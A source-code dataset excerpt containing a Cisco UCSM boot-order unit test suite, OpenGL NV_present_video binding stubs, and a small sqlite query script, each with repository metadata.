tests/unit_test/server/test_ut_server_boot_order.py
|
CiscoUcs/ucsm_apis
|
2537d0aa300adcfb6ebf8baf29c504ce2abe748c
|
[
"Apache-2.0"
] | 24
|
2017-03-16T04:49:00.000Z
|
2018-06-26T03:17:27.000Z
|
tests/unit_test/server/test_ut_server_boot_order.py
|
CiscoUcs/ucsm_apis
|
2537d0aa300adcfb6ebf8baf29c504ce2abe748c
|
[
"Apache-2.0"
] | 17
|
2017-03-01T03:56:02.000Z
|
2019-08-08T12:30:52.000Z
|
from mock import Mock, patch
from nose.tools import assert_raises
from nose.tools import assert_equal
from ucsmsdk.ucshandle import UcsHandle
from ucsmsdk.ucsexception import UcsOperationError
from ucsmsdk.mometa.lsboot.LsbootPolicy import LsbootPolicy
from ucsm_apis.server.boot import *
handle = UcsHandle("10.10.10.10", "username", "password")
boot_policy_dn = "org-root/boot-policy-test"
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_lun_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# case1:
# Add two local_lun without type
devices = [
{"device_name": "local_lun",
"device_order": "1",
},
{"device_name": "local_lun",
"device_order": "2",
},
]
expected_error_message = "_local_lun_add failed, error: Instance of Local Lun already added at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_lun_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# case2:
# Add first local_lun without type
# Add next local_lun with type
devices = [
{"device_name": "local_lun",
"device_order": "1",
},
{"device_name": "local_lun",
"device_order": "2",
"type": "primary",
"lun_name": "test_primary"
},
]
expected_error_message = "_local_lun_add failed, error: Instance of Local Lun already added at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_lun_003(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# case3:
# Add first local_lun with type
# Add next local_lun with type
devices = [
{"device_name": "local_lun",
"device_order": "1",
"type": "primary",
"lun_name": "primary"
},
{"device_name": "local_lun",
"device_order": "2",
},
]
expected_error_message = "_local_lun_add failed, error: Required parameter 'lun_name' or 'type' missing."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_lun_004(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# case4:
# Add first local_lun with type
# Add next local_lun with same type
devices = [
{"device_name": "local_lun",
"device_order": "1",
"type": "primary",
"lun_name": "primary"
},
{"device_name": "local_lun",
"device_order": "2",
"type": "primary",
"lun_name": "primary"
},
]
expected_error_message = "_local_lun_add failed, error: Instance of Local Lun of type 'primary' already added at order '1'."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_lun_005(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# case5:
# Add first local_lun with type
# Add next local_lun with other type
# Add one more local_lun
devices = [
{"device_name": "local_lun",
"device_order": "1",
"type": "primary",
"lun_name": "primary"
},
{"device_name": "local_lun",
"device_order": "2",
"type": "secondary",
"lun_name": "secondary"
},
{"device_name": "local_lun",
"device_order": "2",
"type": "secondary",
"lun_name": "secondary"
},
]
expected_error_message = "_local_lun_add failed, error: Both instance of Local Lun already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_jbod_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_jbod_case1
# Add local_jbod
# Add one more local_jbod
devices = [
{"device_name": "local_jbod",
"device_order": "1",
"slot_number": "1"
},
{"device_name": "local_jbod",
"device_order": "2",
"slot_number": "1"
},
]
expected_error_message = "_local_jbod_add failed, error: Instance of Local JBOD already added at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_local_jbod_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_jbod_case2
# Add local_jbod without slot_number
devices = [
{"device_name": "local_jbod",
"device_order": "1",
},
]
expected_error_message = "_local_jbod_add() takes exactly 3 arguments (2 given)"
with assert_raises(TypeError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_embedded_disk_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_embedded_disk_case1:
# Add two local_embedded_disk without type
devices = [
{"device_name": "embedded_disk",
"device_order": "1",
},
{"device_name": "embedded_disk",
"device_order": "2",
},
]
expected_error_message = "_local_embedded_disk_add failed, error: Instance of Local Embedded Disk already added at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_embedded_disk_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_embedded_disk_case2:
# Add first local_embedded_disk without type
# Add next local_embedded_disk with type
devices = [
{"device_name": "embedded_disk",
"device_order": "1",
},
{"device_name": "embedded_disk",
"device_order": "2",
"type": "primary",
"slot_number": "1"
},
]
expected_error_message = "_local_embedded_disk_add failed, error: Instance of Local Embedded Disk already added at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_embedded_disk_003(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_embedded_disk_case3:
# Add first local_embedded_disk with type
# Add next local_embedded_disk without type
devices = [
{"device_name": "embedded_disk",
"device_order": "1",
"type": "primary",
"slot_number": "1"
},
{"device_name": "embedded_disk",
"device_order": "2",
},
]
expected_error_message = "_local_embedded_disk_add failed, error: Required parameter 'slot_number' or 'type' missing."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_embedded_disk_004(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_embedded_disk_case4:
# Add first local_embedded_disk with type
# Add next local_embedded_disk with same type
devices = [
{"device_name": "embedded_disk",
"device_order": "1",
"type": "primary",
"slot_number": "1"
},
{"device_name": "embedded_disk",
"device_order": "2",
"type": "primary",
"slot_number": "1"
},
]
expected_error_message = "_local_embedded_disk_add failed, error: Instance of Local Embedded Disk of type 'primary' already added at order '1'."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_embedded_disk_005(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# local_embedded_disk_case5:
# Add first local_embedded_disk with type
# Add next local_embedded_disk with other type
# Add one more local_embedded_disk
devices = [
{"device_name": "embedded_disk",
"device_order": "1",
"type": "primary",
"slot_number": "1"
},
{"device_name": "embedded_disk",
"device_order": "2",
"type": "secondary",
"slot_number": "1"
},
{"device_name": "embedded_disk",
"device_order": "3",
"type": "secondary",
"slot_number": "1"
},
]
expected_error_message = "_local_embedded_disk_add failed, error: Both instance of Local Embedded Disk already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_lan_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# lan_case1:
# Add first lan without vnic_name and with type
devices = [
{"device_name": "lan",
"device_order": "1",
},
]
expected_error_message = "_lan_device_add() takes exactly 3 arguments (2 given)"
with assert_raises(TypeError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_lan_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# lan_case2:
# Add first lan
# Add second lan
# Add one more lan
devices = [
{"device_name": "lan",
"device_order": "1",
"vnic_name": "primary"
},
{"device_name": "lan",
"device_order": "2",
"vnic_name": "secondary"
},
{"device_name": "lan",
"device_order": "3",
"vnic_name": "secondary"
},
]
expected_error_message = "_lan_device_add failed, error: Both instances of Lan Device are already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_iscsi_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# iscsi_case1:
# Add first iscsi without vnic_name and with type
devices = [
{"device_name": "iscsi",
"device_order": "1",
"type": "primary",
},
]
expected_error_message = "_iscsi_device_add() got an unexpected keyword argument 'type'"
with assert_raises(TypeError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_iscsi_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# iscsi_case2:
# Add first iscsi without vnic_name and type
devices = [
{"device_name": "iscsi",
"device_order": "1",
},
]
expected_error_message = "_iscsi_device_add() takes exactly 3 arguments (2 given)"
with assert_raises(TypeError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_iscsi_003(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# iscsi_case3:
# Add first iscsi
# Add second iscsi
# Add one more iscsi
devices = [
{"device_name": "iscsi",
"device_order": "1",
"vnic_name": "primary"
},
{"device_name": "iscsi",
"device_order": "2",
"vnic_name": "secondary"
},
{"device_name": "iscsi",
"device_order": "3",
"vnic_name": "secondary"
},
]
expected_error_message = "_iscsi_device_add failed, error: Both instances of ISCSI Device are already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_001(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case1:
# Add first san without type
# Add second san without type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
},
]
expected_error_message = "_san_device_add failed, error: Instance of San device is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_002(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case4:
# Add first san without type
# Add second san with type
# Add third san without type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
},
{"device_name": "san",
"device_order": "3",
},
]
expected_error_message = "_san_device_add failed, error: Instance of San device is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_003(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case5:
# Add first san without type
# Add second san with type
# Add third san with "same" type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "primary",
"type": "primary",
},
]
expected_error_message = "_san_device_add failed, error: Instance of 'primary' san image is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_004(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case9:
# Add first san without type
# Add second san with type(with wwn, lun, target_type)
# Add third san without type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
"wwn": "10:00:00:00:00:00:00:00",
"lun": "1",
"target_type": "primary"
},
{"device_name": "san",
"device_order": "3",
},
]
expected_error_message = "_san_device_add failed, error: Instance of San device is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_005(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case10:
# Add first san without type
# Add second san with type(with wwn, lun, target_type)
# Add third san with same type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
"wwn": "10:00:00:00:00:00:00:00",
"lun": "1",
"target_type": "primary"
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "primary",
"type": "primary",
},
]
expected_error_message = "_san_device_add failed, error: Instance of 'primary' san image is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_006(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case11:
# Add first san without type
# Add second san with type(with wwn, lun, target_type)
# Add third san with same type(with wwn, lun, target_type(same))
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
"wwn": "10:00:00:00:00:00:00:00",
"lun": "1",
"target_type": "primary"
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "primary",
"type": "primary",
"wwn": "10:00:00:00:00:00:00:00",
"lun": "1",
"target_type": "primary"
},
]
expected_error_message = "_san_device_add failed, error: Instance of SAN target type 'primary' is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_007(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case15:
# Add first san without type
# Add second san with type primary
# Add third san with other type secondary
# Add fourth san without type
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "secondary",
"type": "secondary",
},
{"device_name": "san",
"device_order": "4",
},
]
expected_error_message = "_san_device_add failed, error: Instance of San device is already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_008(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case16:
# Add first san without type
# Add second san with type primary
# Add third san with other type secondary
# Add fourth san with type primary
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "secondary",
"type": "secondary",
},
{"device_name": "san",
"device_order": "4",
"vnic_name": "primary",
"type": "primary",
},
]
expected_error_message = "_san_device_add failed, error: Both instance of SAN Devices are already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_san_009(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# san_case17:
# Add first san without type
# Add second san with type primary
# Add third san with other type secondary
# Add fourth san with type secondary
devices = [
{"device_name": "san",
"device_order": "1",
},
{"device_name": "san",
"device_order": "2",
"vnic_name": "primary",
"type": "primary",
},
{"device_name": "san",
"device_order": "3",
"vnic_name": "secondary",
"type": "secondary",
},
{"device_name": "san",
"device_order": "4",
"vnic_name": "secondary",
"type": "secondary",
},
]
expected_error_message = "_san_device_add failed, error: Both instance of SAN Devices are already added."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_special_case_01(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# special_case1:
# Add first local_disk
# Add another local_device
devices = [
{"device_name": "local_disk",
"device_order": "1",
},
{"device_name": "sdcard",
"device_order": "2",
},
]
expected_error_message = "_device_add failed, error: local_disk cannot be added with other local devices."
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_special_case_02(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# special_case2:
# Add first cd_dvd
# Add another cd_dvd_local
devices = [
{"device_name": "cd_dvd",
"device_order": "1",
},
{"device_name": "cd_dvd_local",
"device_order": "2",
},
]
expected_error_message = "_device_add failed, error: 'cd_dvd' or 'cd_dvd_local, cd_dvd_remote'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_special_case_03(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# special_case3:
# Add first floppy
# Add another floppy_local
devices = [
{"device_name": "floppy",
"device_order": "1",
},
{"device_name": "floppy_local",
"device_order": "2",
},
]
expected_error_message = "_device_add failed, error: 'floppy' or 'floppy_local, floppy_remote'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_special_case_04(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# special_case4:
# Add sdcard
# Add sdcard
devices = [
{"device_name": "sdcard",
"device_order": "1",
},
{"device_name": "sdcard",
"device_order": "2",
},
]
expected_error_message = "_local_device_add failed, error: Device 'sdcard' already exist at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
@patch('ucsm_apis.server.boot._boot_policy_order_clear')
@patch.object(UcsHandle, 'query_dn')
@patch.object(UcsHandle, 'login')
def test_boot_special_case_05(mock_login, mock_query_dn, mock_order_clear):
mock_login.return_value = True
bp = LsbootPolicy("org-root", name="test")
mock_query_dn.return_value = bp
mock_order_clear.return_value = None
# special_case4:
# Add virtual_drive
# Add virtual_drive
devices = [
{"device_name": "virtual_drive",
"device_order": "1",
},
{"device_name": "virtual_drive",
"device_order": "2",
},
]
expected_error_message = "_vmedia_device_add failed, error: Device 'virtual_drive' already exist at order '1'"
with assert_raises(UcsOperationError) as error:
boot_policy_order_set(handle, boot_policy_dn, devices)
assert_equal(error.exception.message, expected_error_message)
| 35.607943
| 150
| 0.623931
| 4,160
| 34,967
| 4.89375
| 0.035577
| 0.046665
| 0.045682
| 0.028294
| 0.945967
| 0.930003
| 0.916839
| 0.898271
| 0.880784
| 0.869584
| 0
| 0.011596
| 0.267538
| 34,967
| 981
| 151
| 35.644241
| 0.783266
| 0.075042
| 0
| 0.772544
| 0
| 0.002692
| 0.249729
| 0.051583
| 0
| 0
| 0
| 0
| 0.086137
| 1
| 0.041723
| false
| 0.001346
| 0.009421
| 0
| 0.051144
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d4f98d8cdaa089f22c765a2abc3dcb9cd5f6ccab
| 1,170
|
py
|
Python
|
OpenGLCffi/GL/EXT/NV/present_video.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GL/EXT/NV/present_video.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GL/EXT/NV/present_video.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
from OpenGLCffi.GL import params
@params(api='gl', prms=['video_slot', 'minPresentTime', 'beginPresentTimeId', 'presentDurationId', 'type', 'target0', 'fill0', 'key0', 'target1', 'fill1', 'key1'])
def glPresentFrameKeyedNV(video_slot, minPresentTime, beginPresentTimeId, presentDurationId, type, target0, fill0, key0, target1, fill1, key1):
pass
@params(api='gl', prms=['video_slot', 'minPresentTime', 'beginPresentTimeId', 'presentDurationId', 'type', 'target0', 'fill0', 'target1', 'fill1', 'target2', 'fill2', 'target3', 'fill3'])
def glPresentFrameDualFillNV(video_slot, minPresentTime, beginPresentTimeId, presentDurationId, type, target0, fill0, target1, fill1, target2, fill2, target3, fill3):
pass
@params(api='gl', prms=['video_slot', 'pname', 'params'])
def glGetVideoivNV(video_slot, pname, params):
pass
@params(api='gl', prms=['video_slot', 'pname', 'params'])
def glGetVideouivNV(video_slot, pname, params):
pass
@params(api='gl', prms=['video_slot', 'pname', 'params'])
def glGetVideoi64vNV(video_slot, pname, params):
pass
@params(api='gl', prms=['video_slot', 'pname', 'params'])
def glGetVideoui64vNV(video_slot, pname, params):
pass
| 36.5625
| 187
| 0.723932
| 131
| 1,170
| 6.374046
| 0.244275
| 0.129341
| 0.134132
| 0.191617
| 0.831138
| 0.802395
| 0.802395
| 0.797605
| 0.797605
| 0.797605
| 0
| 0.030246
| 0.095727
| 1,170
| 31
| 188
| 37.741935
| 0.758979
| 0
| 0
| 0.526316
| 0
| 0
| 0.258562
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.315789
| false
| 0.315789
| 0.052632
| 0
| 0.368421
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
be19281d89c8a83a966de2ab7f697944baf53ace
| 773
|
py
|
Python
|
webUpdates/test.py
|
PawanDinodia/personalNews
|
5c56138b7faeb76cd21f2f4a78e4be23783c92a1
|
[
"MIT"
] | null | null | null |
webUpdates/test.py
|
PawanDinodia/personalNews
|
5c56138b7faeb76cd21f2f4a78e4be23783c92a1
|
[
"MIT"
] | null | null | null |
webUpdates/test.py
|
PawanDinodia/personalNews
|
5c56138b7faeb76cd21f2f4a78e4be23783c92a1
|
[
"MIT"
] | null | null | null |
import sqlite3
conn=sqlite3.connect("webUpdates.db")
crsr=conn.cursor()
query="SELECT * FROM webUpdates WHERE updateTitle='Medical Devices Alert on MiniMed 620G Insulin Pump/Pump Kits & MiniMed 640G Insulin Pump/Pump kit of India Medtronic Ltd' and updateDates='2021-Oct-11' and updateLink='https://cdsco.gov.in/opencms/opencms/system/modules/CDSCO.WEB/elements/download_file_division.jsp?num_id=Nzc3MA=='"
# WHERE updateTitle='Medical Devices Alert on MiniMed 620G Insulin Pump/Pump Kits & MiniMed 640G Insulin Pump/Pump kit of India Medtronic Ltd' and updateDates='2021-Oct-11' and updateLink='https://cdsco.gov.in/opencms/opencms/system/modules/CDSCO.WEB/elements/download_file_division.jsp?num_id=Nzc3MA=='
results=crsr.execute(query).fetchall();
print(results[0][4])
| 96.625
| 334
| 0.800776
| 117
| 773
| 5.239316
